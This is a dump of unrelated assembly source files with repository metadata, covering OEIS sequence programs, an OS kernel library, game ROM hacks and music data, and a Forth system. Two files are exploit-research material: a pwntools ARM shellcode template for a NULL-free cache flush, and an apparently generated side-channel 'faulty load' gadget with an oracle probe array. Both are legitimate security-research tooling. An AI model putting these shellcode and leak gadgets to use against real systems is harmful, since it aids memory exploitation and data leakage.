Assembly
oeis/160/A160175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/160/A160175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/160/A160175.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A160175: Expansion of 1/(1 - 2*x - 2*x^2 - 2*x^3 - 2*x^4). ; Submitted by Christian Krause ; 1,2,6,18,54,160,476,1416,4212,12528,37264,110840,329688,980640,2916864,8676064,25806512,76760160,228319200,679123872,2020019488,6008445440,17871816000,53158809600,158118181056,470314504192,1398926621696,4161036233088,12376791080064,36814136878080,109501781625856,325707491634176,968800402436352,2881647625148928,8571314601690624,25494940241820160,75833405742192128,225562616421703680,670924554014813184,1995631032841058304,5935903218039534592,17656042842634219520,52517003295059251200 add $0,2 mov $2,1 lpb $0 sub $0,1 add $5,$1 mov $1,$3 sub $3,$4 mov $4,$2 mov $2,$3 mul $5,2 add $5,$4 mov $3,$5 lpe mov $0,$1
38.210526
486
0.779614
564542094f4d58423e519d293fd424da6cead92f
365
asm
Assembly
code/8/4.asm
GeekHades1/AssemblyCode
4078d97d8e31093ff7b54b72869f77e340b98391
[ "BSD-2-Clause" ]
1
2018-07-11T12:35:45.000Z
2018-07-11T12:35:45.000Z
code/8/4.asm
GeekHades1/AssemblyCode
4078d97d8e31093ff7b54b72869f77e340b98391
[ "BSD-2-Clause" ]
null
null
null
code/8/4.asm
GeekHades1/AssemblyCode
4078d97d8e31093ff7b54b72869f77e340b98391
[ "BSD-2-Clause" ]
null
null
null
; 问题8.1 用div计算data段中第一个数据除以第二个 ; 数据后的结果,商存在第三个数据的存储单元中 assume cs:code, ds:data data segment dd 100001 dw 100 dw 0 data ends code segment start: mov ax, data mov ds, ax mov ax, ds:[0] ; ax 存低16位 mov dx, ds:[2] ; dx 存高16位 div word ptr ds:[4] mov ds:[6], ax ; 存商 mov ax, 4c00H int 21H code ends end start
15.208333
32
0.591781
a54ee4fb2004dd66728f3bc83b564bf243e3f656
1,362
asm
Assembly
EngineHacks/Gambit/GambitEffectMap/FillAOEMapFucs/Func4_FireArrows.asm
MokhaLeee/Gambit-ThreeHouses-Style-AOE-Attack
7aa979e7407f5292244efd731311d71954f8aedc
[ "MIT" ]
5
2021-11-28T19:51:03.000Z
2021-12-25T06:15:13.000Z
EngineHacks/Gambit/GambitEffectMap/FillAOEMapFucs/Func4_FireArrows.asm
MokhaLeee/Gambit-ThreeHouses-Style-AOE-Attack
7aa979e7407f5292244efd731311d71954f8aedc
[ "MIT" ]
null
null
null
EngineHacks/Gambit/GambitEffectMap/FillAOEMapFucs/Func4_FireArrows.asm
MokhaLeee/Gambit-ThreeHouses-Style-AOE-Attack
7aa979e7407f5292244efd731311d71954f8aedc
[ "MIT" ]
null
null
null
@ 1 @ 1 @ 1 @ 1 .thumb .include "../../../../_FuncLib/_Definitions.h.s" .include "../../../../_FuncLib/MokhaRAMSpace.s" .include "_definations_ADDMAP.h.s" @(x,y,Direction) Func4_FireArrows: push {r4-r7,lr} mov r4, r0 @Target.x mov r5, r1 @Target.y cmp r2, #4 blt Normal mov r2, #0 Normal: mov r6, r2 @Direction @r0=Direction lsl r0, r6, #2 ldr r1, =jpt_UnitDirection add r0, r1 ldr r0,[r0] bx r0 .ltorg .align jpt_UnitDirection: .word Moveleft+0x8000001 .word Moveright+0x8000001 .word MoveDown+0x8000001 .word Moveup+0x8000001 Moveleft: ldr r0, =gMapMovement ldr r0,[r0] mov r1, #0x1 neg r1, r1 _blh2 ClearMapWith|1 AddMapINLINE 0,0 AddMapINLINE -1,0 AddMapINLINE -2,0 AddMapINLINE -3,0 b TestEnd Moveright: ldr r0, =gMapMovement ldr r0,[r0] mov r1, #0x1 neg r1, r1 _blh2 ClearMapWith|1 AddMapINLINE 0,0 AddMapINLINE 1,0 AddMapINLINE 2,0 AddMapINLINE 3,0 b TestEnd MoveDown: ldr r0, =gMapMovement ldr r0,[r0] mov r1, #0x1 neg r1, r1 _blh2 ClearMapWith|1 AddMapINLINE 0,0 AddMapINLINE 0,1 AddMapINLINE 0,2 AddMapINLINE 0,3 b TestEnd Moveup: ldr r0, =gMapMovement ldr r0,[r0] mov r1, #0x1 neg r1, r1 _blh2 ClearMapWith|1 AddMapINLINE 0,0 AddMapINLINE 0,-1 AddMapINLINE 0,-2 AddMapINLINE 0,-3 b TestEnd TestEnd: pop {r4-r7} pop {r0} bx r0
14.489362
49
0.668135
3faa356d54d8ea4c10e3731d355bd4c033f0b1fe
740
asm
Assembly
pwnlib/shellcraft/templates/arm/android/cacheflush.asm
zaratec/pwntools
8793decd1c9b8c822e3db6c27b9cbf6e8cddfeba
[ "MIT" ]
5
2018-05-15T13:00:56.000Z
2020-02-09T14:29:00.000Z
pwnlib/shellcraft/templates/arm/android/cacheflush.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
null
null
null
pwnlib/shellcraft/templates/arm/android/cacheflush.asm
FDlucifer/binjitsu
999ad632004bfc3e623eead20eb11de98fc1f4dd
[ "MIT" ]
6
2017-09-07T02:31:11.000Z
2021-07-05T16:59:18.000Z
<%docstring> Invokes the cache-flush operation, without using any NULL or newline bytes. Effectively is just: mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002 How this works: ... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifyign code, the argument will be read correctly. </%docstring> adr r6, cacheflush movw r5, 0xffff add r5, r5, 3 strh r5, [r6] eor r7, r7, r7 push {r7, lr} sub r7, r7, #1 push {r7} add r7, r7, #1 push {r7} pop {r0, r1, r2, lr} cacheflush: swimi 0x9f4141
23.125
75
0.635135
62dd1051232310c6164ed0cd890adf2ce6cb9347
3,614
asm
Assembly
src/MFORTH/answords/tools-ext.asm
malyn/MFORTH
7a6f6c44a192fee4c40b21a7d7d4d6cb51e53169
[ "BSD-3-Clause" ]
10
2017-10-26T14:10:27.000Z
2020-06-07T15:06:02.000Z
src/MFORTH/answords/tools-ext.asm
malyn/MFORTH
7a6f6c44a192fee4c40b21a7d7d4d6cb51e53169
[ "BSD-3-Clause" ]
2
2019-03-03T19:47:51.000Z
2020-07-02T09:33:51.000Z
src/MFORTH/answords/tools-ext.asm
malyn/MFORTH
7a6f6c44a192fee4c40b21a7d7d4d6cb51e53169
[ "BSD-3-Clause" ]
2
2017-07-23T14:34:19.000Z
2017-12-16T04:24:28.000Z
; Copyright (c) 2009-2010, Michael Alyn Miller <malyn@strangeGizmo.com>. ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice ; unmodified, this list of conditions, and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of Michael Alyn Miller nor the names of the contributors ; to this software may be used to endorse or promote products derived from ; this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY ; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY ; DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF ; THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ====================================================================== ; TOOLS EXT Words ; ====================================================================== ; ---------------------------------------------------------------------- ; ASSEMBLER [TOOLS EXT] 15.6.2.0740 ( -- ) ; ; Replace the first word list in the search order with the ASSEMBLER ; word list. LINKTO(LINK_TOOLSEXT,0,9,'R',"ELBMESSA") ASSEMBLER: JMP ENTER .WORD LIT,ASSEMBLERWL,LIT,SOESTART,STORE,EXIT ; ---------------------------------------------------------------------- ; BYE [TOOLS EXT] 15.6.2.0830 ( -- ) ; ; Return control to the host operating system, if any. LINKTO(ASSEMBLER,0,3,'E',"YB") BYE: LHLD BOPSTK ; Load the SP on entry into MFORTH SPHL ; ..and restore that SP. CALL STDCALL ; Call the .WORD 5797h ; ..main menu routine (never returns). ; ---------------------------------------------------------------------- ; CODE [TOOLS EXT] 15.6.2.0930 ( "<spaces>name" -- ) ; ; Skip leading space delimiters. Parse name delimited by a space. ; Create a definition for name, called a "code definition", with the ; execution semantics defined below. ; ; Subsequent characters in the parse area typically represent source ; code in a programming language, usually some form of assembly ; language. Those characters are processed in an implementation-defined ; manner, generating the corresponding machine code. The process ; continues, refilling the input buffer as needed, until an ; implementation-defined ending sequence is processed. ; ; name Execution: ( -- a-addr ) ; Execute the machine code sequence that was generated following ; CODE. ; ; --- ; : CODE ( "<spaces>name" -- ) ; CREATE CFASZ NEGATE ALLOT ALSO ASSEMBLER ; LINKTO(BYE,0,4,'E',"DOC") LAST_TOOLSEXT: CODE: JMP ENTER .WORD CREATE,LIT,-CFASZ,ALLOT,ALSO,ASSEMBLER .WORD EXIT
44.073171
78
0.640288
8ac42f2a8b31fb5e47e6f7bee603a1231ca840f6
3,184
asm
Assembly
0.8-IRQ/src/kernel/libc.asm
CedricFauth/VIteen-a-16-bit-OS
654d6c4424b7f6ab45018665ed74e47f4d69ad78
[ "MIT" ]
13
2020-10-11T12:31:22.000Z
2022-03-06T21:41:41.000Z
0.8-IRQ/src/kernel/libc.asm
CedricFauth/VIteen-a-16-bit-OS
654d6c4424b7f6ab45018665ed74e47f4d69ad78
[ "MIT" ]
4
2020-10-11T12:17:53.000Z
2020-10-14T11:27:42.000Z
0.8-IRQ/src/kernel/libc.asm
CedricFauth/VIteen-a-16-bit-OS
654d6c4424b7f6ab45018665ed74e47f4d69ad78
[ "MIT" ]
2
2021-08-08T08:36:41.000Z
2022-03-06T21:41:42.000Z
bits 16 ; global accessible functions global imodu global _cga_setcell global _outb global _cga_moveup global _register_irq global _sleep global _debug_segments global _config_keyboard extern _irq ; extern interrupt request function extern _scr_d ; used for debug print extern _printx extern _prints imodu: ;bcc function for modulo push bx xor dx,dx div bx mov ax,dx pop bx ret cs_str db 0xa,'cs: ',0x0 ds_str db 0xa,'ds: ',0x0 ss_str db 0xa,'ss: ',0x0 es_str db 0xa,'es: ',0x0 bp_str db 0xa,'bp: ',0x0 sp_str db 0xa,'sp: ',0x0 _debug_segments: push bp mov bp, sp ;print cs push _scr_d push cs_str call _prints add sp, BYTE 4 push _scr_d push cs call _printx add sp, BYTE 4 ;print ds push _scr_d push ds_str call _prints add sp, BYTE 4 push _scr_d push ds call _printx add sp, BYTE 4 ;print ss push _scr_d push ss_str call _prints add sp, BYTE 4 push _scr_d push ss call _printx add sp, BYTE 4 ;print es push _scr_d push es_str call _prints add sp, BYTE 4 push _scr_d push es call _printx add sp, BYTE 4 ;print bp push _scr_d push bp_str call _prints add sp, BYTE 4 push _scr_d push bp call _printx add sp, BYTE 4 ;print sp push _scr_d push sp_str call _prints add sp, BYTE 4 mov ax, sp push _scr_d push ax call _printx add sp, BYTE 4 mov sp, bp pop bp ret _sleep: hlt jmp _sleep _register_irq: push bp mov bp, sp pusha push es mov ax,0x0 mov es,ax cli mov [es:4*9], word irq_wrapper mov [es:4*9+2], cs sti pop es popa mov sp, bp pop bp ret irq_wrapper: cli push bp mov bp, sp pusha wait_for_input: in al, 0x64 and al, 00000001b jz wait_for_input in al, 60h call _irq mov al, 20h out 20h, al ; enable new interrupts popa mov sp, bp pop bp sti iret _config_keyboard: ; set scancode set to 1 push bp mov bp, sp pusha wait0: in al, 0x64 ; Read Status byte and al, 0x2 ; Test if input buff is ready jnz wait0 ; Wait until 1b mov al, 0xF0 out 0x60, al ; send scancode cmd wait1: in al, 0x64 and al, 0x1 ; test if output is full jz wait1 in al, 0x60 ; read output cmp al, 0xFA jne wait0 ; if not ACK resend wait2: in al, 0x64 and al, 0x2 ; Test if input buff is ready jnz wait2 ; Wait until 1b mov al, 0x1 out 0x60, al ; send scancode cmd wait3: in al, 0x64 and al, 0x1 ; test if output is full jz wait3 in al, 0x60 ; read scancode-set value cmp al, 0xFA jne wait0 popa mov sp, bp pop bp ret _cga_moveup: push bp mov bp, sp pushf push di push ax push bx push es mov ax, 0xB800 mov es, ax mov di, [bp+4] shl di, 1 mov ax, WORD [es:di] mov bx, [bp+6] shr di, 1 sub di, bx shl di, 1 mov [es:di], ax pop ax mov es, ax pop bx pop ax pop di popf mov sp, bp pop bp ret _cga_setcell: push bp mov bp, sp pushf push di push ax push bx push es mov ax, 0xB800 mov es, ax mov ax, [bp+4] mov di, [bp+6] shl di, 1 mov [es:di], ax pop ax mov es, ax pop bx pop ax pop di popf mov sp, bp pop bp ret _outb: push bp mov bp, sp pushf push eax push edx mov dx, [bp+4] mov al, [bp+6] out dx, al pop edx pop eax popf mov sp, bp pop bp ret
12.389105
49
0.671796
d5de84c1d297358b78e98aae8eb0c0be0aa303fe
463
asm
Assembly
programs/oeis/192/A192750.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/192/A192750.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/192/A192750.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A192750: Define a pair of sequences c_n, d_n by c_0=0, d_0=1 and thereafter c_n = c_{n-1}+d_{n-1}, d_n = c_{n-1}+4*n+2; sequence here is d_n. ; 1,6,11,21,36,61,101,166,271,441,716,1161,1881,3046,4931,7981,12916,20901,33821,54726,88551,143281,231836,375121,606961,982086,1589051,2571141,4160196,6731341,10891541,17622886,28514431,46137321,74651756 mov $1,1 mov $3,2 lpb $0 sub $0,1 mov $2,$1 mov $1,$3 add $3,$2 lpe sub $1,1 mul $1,5 add $1,1 mov $0,$1
28.9375
204
0.693305
21a23bcaac8d1e7b14624c04eff0955c06b1de48
150
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_rmdt099.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_rmdt099.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm/zel_rmdt099.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_rmdt099.asm Type: file Size: 170960 Last-Modified: '2016-05-13T04:20:48Z' SHA-1: F9FC23177A9179E139A563E165996450EA941F86 Description: null
21.428571
47
0.82
c6b3564da46e701a329e5d393b36d1793e6a1414
3,008
asm
Assembly
audio/music/cinnabar.asm
etdv-thevoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/music/cinnabar.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/music/cinnabar.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
Music_Cinnabar_Ch0:: tempo 144 volume 7, 7 duty 3 vibrato 12, 3, 4 toggleperfectpitch Music_Cinnabar_branch_b878:: notetype 12, 11, 5 rest 4 octave 3 D_ 4 E_ 6 C# 2 notetype 12, 11, 1 D_ 4 notetype 12, 11, 5 B_ 4 octave 4 C_ 6 octave 3 A_ 2 notetype 12, 11, 1 B_ 4 notetype 12, 11, 5 G_ 4 F# 4 E_ 2 F# 2 notetype 12, 11, 1 G_ 4 notetype 12, 11, 5 G_ 4 F# 4 E_ 4 D_ 4 E_ 4 F# 6 A_ 2 notetype 12, 11, 1 G_ 4 notetype 12, 11, 5 B_ 4 octave 4 C_ 6 octave 3 A_ 2 B_ 4 G_ 4 F# 3 E_ 1 F# 2 A_ 2 notetype 12, 10, 2 G_ 4 octave 4 D_ 1 E_ 1 D_ 4 notetype 12, 7, 2 D_ 1 E_ 1 D_ 4 notetype 12, 10, 7 octave 3 B_ 6 G_ 2 E_ 8 octave 4 C_ 6 octave 3 A_ 2 F# 8 octave 4 F# 6 D_ 2 octave 3 B_ 2 A_ 2 G_ 2 F# 2 G_ 8 F# 4 E_ 4 loopchannel 0, Music_Cinnabar_branch_b878 Music_Cinnabar_Ch1:: duty 3 vibrato 10, 2, 3 Music_Cinnabar_branch_b8d9:: notetype 12, 12, 7 octave 3 G_ 6 A_ 1 B_ 1 octave 4 C_ 6 D_ 1 E_ 1 notetype 12, 12, 1 D_ 4 notetype 12, 12, 7 G_ 4 A_ 6 G_ 1 F# 1 E_ 4 D_ 4 C_ 3 octave 3 B_ 1 octave 4 C_ 2 D_ 1 E_ 1 notetype 12, 12, 1 D_ 4 notetype 12, 12, 7 octave 3 B_ 8 A_ 4 G_ 6 A_ 1 B_ 1 octave 4 C_ 6 D_ 1 E_ 1 notetype 12, 12, 1 D_ 4 notetype 12, 12, 7 G_ 4 A_ 6 G_ 1 F# 1 E_ 4 D_ 4 C_ 3 octave 3 B_ 1 octave 4 C_ 2 D_ 1 E_ 1 notetype 12, 12, 1 D_ 4 notetype 12, 12, 7 octave 3 A_ 4 G_ 4 F# 4 notetype 12, 11, 0 octave 4 D_ 6 octave 3 B_ 2 G_ 8 octave 4 E_ 6 C_ 2 octave 3 A_ 8 octave 4 A_ 6 F# 2 D_ 2 C_ 2 octave 3 B_ 2 A_ 2 B_ 4 octave 4 D_ 4 octave 3 B_ 2 A_ 6 loopchannel 0, Music_Cinnabar_branch_b8d9 Music_Cinnabar_Ch2:: notetype 12, 1, 0 Music_Cinnabar_branch_b93f:: octave 4 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 A_ 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 2 G_ 1 G_ 1 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 2 octave 4 F# 1 rest 1 G_ 1 rest 3 B_ 4 A_ 1 rest 1 A_ 1 rest 1 octave 5 C_ 4 octave 4 B_ 1 rest 3 octave 5 D_ 2 octave 4 B_ 1 B_ 1 B_ 1 rest 1 B_ 1 rest 1 octave 5 C_ 2 octave 4 B_ 1 rest 1 G_ 1 rest 3 octave 5 E_ 2 C_ 1 C_ 1 C_ 1 rest 1 C_ 1 rest 1 E_ 2 C_ 1 rest 1 octave 4 A_ 1 rest 3 octave 5 A_ 2 F# 1 F# 1 D_ 1 rest 1 D_ 1 rest 1 D_ 2 C_ 1 rest 1 octave 4 B_ 1 rest 3 octave 5 D_ 2 C_ 1 C_ 1 octave 4 B_ 1 rest 1 B_ 1 rest 1 A_ 2 octave 5 C_ 1 rest 1 loopchannel 0, Music_Cinnabar_branch_b93f
8.473239
42
0.608378
f468bf7d43deceda9567ddac6c0f3f38c1490cd1
6,355
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1980.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1980.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1980.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r8 push %r9 push %rdx push %rsi lea addresses_UC_ht+0x5f91, %rdx nop nop inc %rsi mov (%rdx), %r10d nop nop nop nop add $5345, %r9 lea addresses_UC_ht+0x4781, %r8 nop xor $24220, %r14 movw $0x6162, (%r8) nop nop nop inc %r13 lea addresses_WT_ht+0x9c81, %r9 nop nop nop nop cmp $36847, %r8 movl $0x61626364, (%r9) nop nop nop nop cmp $6927, %r10 lea addresses_WT_ht+0x16b81, %r13 nop xor $4111, %rsi mov $0x6162636465666768, %r8 movq %r8, %xmm3 vmovups %ymm3, (%r13) nop nop nop nop xor $23556, %r8 lea addresses_normal_ht+0x6380, %r14 clflush (%r14) nop nop cmp %r8, %r8 movb $0x61, (%r14) add %r13, %r13 pop %rsi pop %rdx pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_A+0x3381, %rsi lea addresses_normal+0x17c81, %rdi clflush (%rsi) nop nop nop nop cmp %r10, %r10 mov $74, %rcx rep movsl nop sub %rsi, %rsi // Store lea addresses_A+0x17a81, %rbx nop nop nop nop nop add %rbp, %rbp movb $0x51, (%rbx) nop nop nop nop add %rax, %rax // Store lea addresses_D+0x16a81, %rbx nop inc %rcx movl $0x51525354, (%rbx) nop nop nop xor $48109, %rbp // Load lea addresses_normal+0x1cc41, %rcx and %rax, %rax movb (%rcx), %bl nop nop xor %rsi, %rsi // REPMOV lea addresses_WT+0x13381, %rsi lea addresses_WT+0x6181, %rdi add $37540, %rdx mov $65, %rcx rep movsb nop nop nop nop sub $8054, %rax // Faulty Load lea addresses_D+0x6381, %r10 nop nop cmp %rsi, %rsi movb (%r10), %bl lea oracles, %rax and $0xff, %rbx shlq $12, %rbx mov (%rax,%rbx,1), %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT', 'congruent': 8, 'same': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 